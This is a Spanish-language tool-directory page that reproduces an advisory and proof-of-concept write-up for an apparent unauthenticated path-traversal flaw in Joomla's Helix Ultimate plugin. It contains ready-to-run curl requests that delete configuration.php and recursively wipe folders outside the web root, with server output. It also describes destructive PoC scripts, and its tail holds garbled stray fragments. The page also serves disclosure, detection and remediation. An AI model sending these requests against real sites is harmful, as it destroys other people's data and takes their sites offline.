Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/is4yev/cve-2026-57830
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónCTFPruebas de PenetraciónAprendizaje y Educación
GitHubis4yev/cve-2026-57830

CVE-2026-57830

Eliminación arbitraria de archivos/carpetas sin autenticación en Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830

Ver Repositorio
3hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Helix Ultimate Framework — Lectura/Eliminación Arbitraria de Archivos/Carpetas mediante Path-Traversal no Autenticado

Esto es una vulnerabilidad confirmada de DoS + acceso al sistema de archivos entre inquilinos (cross-tenant), NO RCE. Una teoría de escalada a RCE (borrar configuration.php para volver a exponer el instalador de Joomla) se probó en vivo y quedó refutada; ver «Escalada de RCE: probada y refutada» más abajo. No representes esto como RCE en ningún informe sin derivar antes una cadena real.

Mejora de severidad (2026-07-06, segunda pasada): el parámetro path NO está contenido de forma segura dentro de la raíz web de Joomla como se evaluó inicialmente: el filtro de entrada PATH de Joomla no bloquea un único componente de traversal /../, por lo que este fallo alcanza (lectura: listado completo de directorios; escritura: borrado de archivos o borrado recursivo del contenido de carpetas) cualquier cosa en el sistema de archivos a la que el usuario del servidor web pueda acceder, no solo archivos dentro de la instalación de Joomla. En cualquier esquema de hosting compartido donde varios sitios/inquilinos viven como directorios hermanos bajo el mismo usuario del sistema operativo (extremadamente común: «addon domains» de cPanel, suscripciones de Plesk que comparten un usuario de sistema, la mayoría de hostings económicos), un único sitio basado en Helix Ultimate permite que un visitante anónimo destruya cualquier otro sitio en la misma cuenta. Ver «El path traversal escapa por completo de JPATH_ROOT» más abajo para la prueba en vivo.

Componente: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), incluido prácticamente con todas las plantillas Joomla de JoomShaper (basadas en Helix Ultimate). Versión probada: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD a fecha de 2026-07, último push 2026-06-30) Autor: Amin İsayev / Proxima Cyber Security


Resumen

plugins/system/helixultimate/src/Platform/Media.php expone deleteMedia(), getFolders() y createFolder() a través del enganche de despacho com_ajax de Joomla en helixultimate.php::onAfterRoute(). Estos tres métodos solo llaman a Session::checkToken() (una simple comprobación CSRF, satisfecha por el token de sesión de cualquier visitante anónimo, obtenible del HTML de la página principal del sitio) — sin ninguna comprobación authorise() / de inicio de sesión. Esto es incoherente con el método hermano uploadMedia() de la misma clase, que correctamente exige core.edit sobre com_templates.

Debido a que se trata de un plugin de sistema, onAfterRoute() se ejecuta en cada solicitud sin importar qué plantilla esté actualmente activa: la ruta de código vulnerable es alcanzable mientras el plugin esté instalado y habilitado (y lo está, por defecto, en cualquier sitio que use una plantilla JoomShaper basada en Helix Ultimate).

Causa raíz

plugins/system/helixultimate/helixultimate.php (~líneas 464-489):

root@kitploit:~
if ($this->app->isClient('site'))
{
    $option  = $this->app->input->get('option', '', 'STRING');
    $helix   = $this->app->input->get('helix', '', 'STRING');
    $request = $this->app->input->get('request', '', 'STRING');
    $action  = $this->app->input->get('action', '', 'STRING');

    if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
    {
        switch ($action)
        {
            case 'upload-blog-image': Blog::upload_image(); break;   // has core.create/com_media check
            case 'remove-blog-image': Blog::remove_image(); break;   // has core.delete/com_media check
            case 'view-media':        Media::getFolders();  break;  // NO authorise() check
            case 'delete-media':      Media::deleteMedia(); break;  // NO authorise() check
            case 'upload-media':      Media::uploadMedia(); break;  // has core.edit/com_templates check
        }
    }
}

plugins/system/helixultimate/src/Platform/Media.php:

root@kitploit:~
public static function deleteMedia()
{
    $output['message'] = Text::_('JINVALID_TOKEN');
    Session::checkToken() or die(json_encode($output));   // ← only CSRF, no authorise()

    $path = $input->post->get('path', '/images', 'PATH');
    $type = $input->post->get('type', 'file', 'STRING');

    if ($type === 'file')  { File::delete(JPATH_ROOT . '/' . $path); }
    else                    { Folder::delete(JPATH_ROOT . '/' . $path); }  // recursive
}

$path pasa por el filtro de entrada PATH de Joomla (InputFilter::cleanPath()). Dos factores independientes hacen que esto sea peligroso:

  1. Ni siquiera se necesita traversal para alcanzar cualquier cosa dentro de la raíz web: path se resuelve directamente bajo JPATH_ROOT, por lo que cualquier ruta absoluta desde la raíz (/configuration.php, /administrator/..., /media/...) ya es alcanzable.
  2. El traversal por encima de la raíz web también funciona. La expresión regular de cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) permite exactamente una secuencia de caracteres de punto/guion/alfanuméricos situada justo después del bloque inicial [A-Za-z0-9_/-]+ — y una / inicial por sí sola satisface ese bloque inicial, de modo que una cadena como /../sibling_dir coincide limpiamente: / (bloque 1), .. (la secuencia de puntos permitida), (un segmento final normal). El filtro se escribió para rechazar un segmento que un nuevo componente con un punto, pero nunca previó un único justo después del primer carácter de la cadena. Encadenar NO sobrevive (todo segmento posterior a la primera secuencia de puntos debe comenzar con un carácter que no sea un punto); por tanto, el escape queda limitado a exactamente nivel de directorio por encima de , pero todo lo que esté por debajo de ese nivel (profundidad arbitraria) es alcanzable con normalidad, ya que los segmentos adicionales son solo componentes de ruta ordinarios sin puntos.

Impacto

  • Eliminación no autenticada de cualquier archivo individual bajo la raíz web de Joomla → trivialmente configuration.php → caída total e instantánea del sitio (error fatal «No configuration»), una única petición HTTP, cero autenticación.
  • Eliminación recursiva no autenticada de cualquier carpeta (type=folder) → p. ej. /administrator, /components, /media → mucho más destructiva, destruye efectivamente la instalación.
  • Divulgación de información no autenticada a través de view-media (Media::getFolders()): lista todos los archivos de imagen, todos los nombres de subcarpetas y las rutas absolutas del servidor bajo cualquier ruta relativa a la raíz, sin requerir autenticación (se usa más abajo como señal de detección segura).
  • Escapa por completo de la raíz web (un nivel hacia arriba y, desde ahí, profundidad ilimitada) — alcanza directorios hermanos de la instalación de Joomla. En hosting compartido donde varios sitios comparten un mismo usuario del sistema operativo (addon domains de cPanel, suscripciones de Plesk, etc.), un visitante anónimo de un sitio con Helix Ultimate puede enumerar y borrar archivos pertenecientes a cualquier otro sitio bajo esa misma cuenta. Esto convierte un fallo de un solo sitio en un radio de explosión de toda la cuenta del servidor.
  • No se encontró escalada a RCE; ver más abajo.

Verificación en vivo (2026-07-06)

Probado contra una instancia Docker desechable (Joomla 5.4.6 + plugin Helix Ultimate 2.2.6, instalación limpia, sesión de navegador totalmente anónima — sin inicio de sesión, sin otra cookie que la que Joomla entrega a cada visitante):

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
    --data-urlencode "path=/configuration.php" \
    --data-urlencode "type=file" \
    --data-urlencode "<csrf-token-from-homepage>=1"

{"status":true, ...}

$ curl http://TARGET/
"No configuration file found and no directory was found for installation."

El path traversal escapa por completo de JPATH_ROOT: prueba en vivo (2026-07-06)

Se creó un directorio hermano de la raíz web de Joomla (/var/www/canary_sibling, hermano de /var/www/html), propiedad del mismo usuario que el servidor web (www-data), para replicar un escenario realista de hosting compartido, poblado con un archivo, una imagen y una subcarpeta:

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
    --data-urlencode "path=/../canary_sibling" \
    --data-urlencode "<csrf-token>=1"

{"status":true, "path":"/../canary_sibling",
 "images":["/var/www/html/../canary_sibling/proof.png"],
 "folders":["subdir"], ...}

Lectura/enumeración completa de un directorio totalmente fuera de la instalación de Joomla, incluidas las rutas absolutas resueltas del servidor, con cero autenticación.

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
    --data-urlencode "path=/../canary_sibling" \
    --data-urlencode "type=folder" \
    --data-urlencode "<csrf-token>=1"

Resultado: todos los archivos dentro de canary_sibling (el archivo normal, la imagen y la subcarpeta) fueron eliminados. Solo sobrevivió la carpeta canary_sibling de nivel superior, ahora vacía, y únicamente porque en este laboratorio estaba directamente bajo /var/www, propiedad de root; eliminar la entrada del directorio vacío requiere permiso de escritura sobre su padre, que www-data no tiene en /var/www. En un escenario real de hosting compartido (p. ej. /home/user/domains/siteA.com/public_html y /home/user/domains/siteB.com/public_html como auténticos hermanos, ambos propiedad de principio a fin del mismo usuario de la cuenta), esa última barrera no existe y todo el árbol de directorios del sitio hermano se puede eliminar.

Escalada de RCE: probada y refutada (2026-07-06)

La siguiente teoría obvia era: en un sitio donde nunca se eliminó installation/ tras la instalación, borrar configuration.php haría que el asistente de instalación volviera a ser accesible, permitiendo a un atacante completarlo y crear un nuevo Super Usuario. Esto se probó directamente en el laboratorio y no se sostiene:

  1. La carpeta installation/ se copió de nuevo a la raíz web (simulando un sitio que olvidó eliminarla); en ese momento configuration.php seguía presente y válido.
  2. Resultado: el propio arranque principal de Joomla (antes de que se ejecute cualquier plugin, incluido el vulnerable) empezó de inmediato a emitir 302 Found -> /installation/index.php para todas y cada una de las solicitudes, incluido el propio POST del exploit a option=com_ajax&helix=ultimate&...&action=delete-media. La ruta de código vulnerable nunca se ejecuta en este estado: el núcleo de Joomla lo cortocircuita todo primero.
  3. Consecuencia: los dos estados no se pueden encadenar.
    • Si installation/ está presente: el sitio ya está completamente expuesto a ser tomado por cualquier visitante, con independencia total de esta vulnerabilidad; se trata de una mala configuración preexistente y no relacionada de Joomla, no algo que este fallo cause o necesite.
    • Si installation/ está ausente (el estado normal y seguro): esta vulnerabilidad solo puede eliminar archivos; no puede crear de nuevo la carpeta installation/ — no hay manera de volver a exponer el instalador a partir de una primitiva de solo borrado.

Conclusión: ninguna combinación de estados convierte esto en RCE. El techo de impacto confirmado y honesto es un DoS total del sitio, no autenticado, incondicional y garantizado (además de la divulgación de información no autenticada indicada antes). Eso ya es por méritos propios un hallazgo de severidad crítica y no necesita una afirmación inflada de RCE.

Corrección: createFolder() NO es alcanzable sin autenticación (un borrador anterior era incorrecto)

Una versión anterior de este documento afirmaba que Media::createFolder() también era alcanzable sin autenticación (como una tercera primitiva junto con borrado/lectura). Eso era incorrecto y se ha corregido tras una revisión completa del cableado de despacho del plugin:

  • createFolder(), y los sumideros reales de escritura de contenido de archivos en el código base (Request.php: fwrite(), File::write() para archivos de estilos/webfonts/caché CSS de plantilla), están todos en plugins/system/helixultimate/src/Platform/Request.php, y se despachan únicamente a través de Platform::handleRequests() <- onAfterRespond().
  • onAfterRespond() exige explícitamente $this->app->isClient('administrator'), y onAfterRoute() redirige por separado a cualquier visitante no autenticado antes de ese punto. Esta ruta está realmente autenticada como administrador; se confirmó leyendo la condición de compuerta exacta, no solo la ausencia de una llamada authorise() dentro del propio método (a diferencia de deleteMedia()/getFolders() del lado del sitio, que realmente no tienen ninguna compuerta).

Conjunto de capacidades no autenticadas confirmado, definitivo: solo borrado (archivo o carpeta recursiva) + lectura (listado de carpetas/imágenes). No existe ninguna primitiva de escritura de contenido sin autenticación en este plugin. Esto es exactamente la razón por la que no se encontró ninguna cadena de RCE incluso después de buscarla específicamente: el RCE necesita fundamentalmente una primitiva de escritura, y esta clase de fallo no la tiene.

PoC de detección — helix_ultimate_detect.py

No destructivo. Usa action=view-media (listado de carpetas/archivos) como señal de prueba; nunca elimina nada.

Exploit / PoC de DoS — helix_ultimate_delete_poc.py (nombre conservado por continuidad; confirma solo DoS)

Destructivo. Requiere --delete <path> explícito para tocar algo. La opción --rce borra configuration.php y sondea /installation/ únicamente para comprobar si esa carpeta ya está presente (en cuyo caso el sitio estaba independientemente expuesto sin relación con este fallo); no representa una escalada real causada por esta vulnerabilidad; ver «Escalada de RCE: probada y refutada» más arriba. Úsalo solo con autorización por escrito.

Remedición

Se necesitan dos correcciones independientes; cualquiera de ellas por sí sola ya detendría esto:

  1. Añade a deleteMedia() y getFolders() la misma comprobación de autorización que ya tiene uploadMedia() en src/Platform/Media.php — como mínimo core.edit/core.delete sobre com_templates (o com_media, siguiendo el patrón de Blog::remove_image()), antes de realizar cualquier operación sobre el sistema de archivos.

Amin İsayev / Proxima Cyber Security — 2026. Solo uso educativo y pruebas autorizadas.

Descargar herramienta
/sibling_dir
comienza
/…
..
../../..
/…
un
JPATH_ROOT
  • El conmutador de frontend (isClient('site')) en onAfterRoute() solo conecta cinco acciones: upload-blog-image, remove-blog-image, view-media (Media::getFolders), delete-media (Media::deleteMedia), upload-media (Media::uploadMedia, que sí comprueba core.edit/com_templates). create-folder no está entre ellas.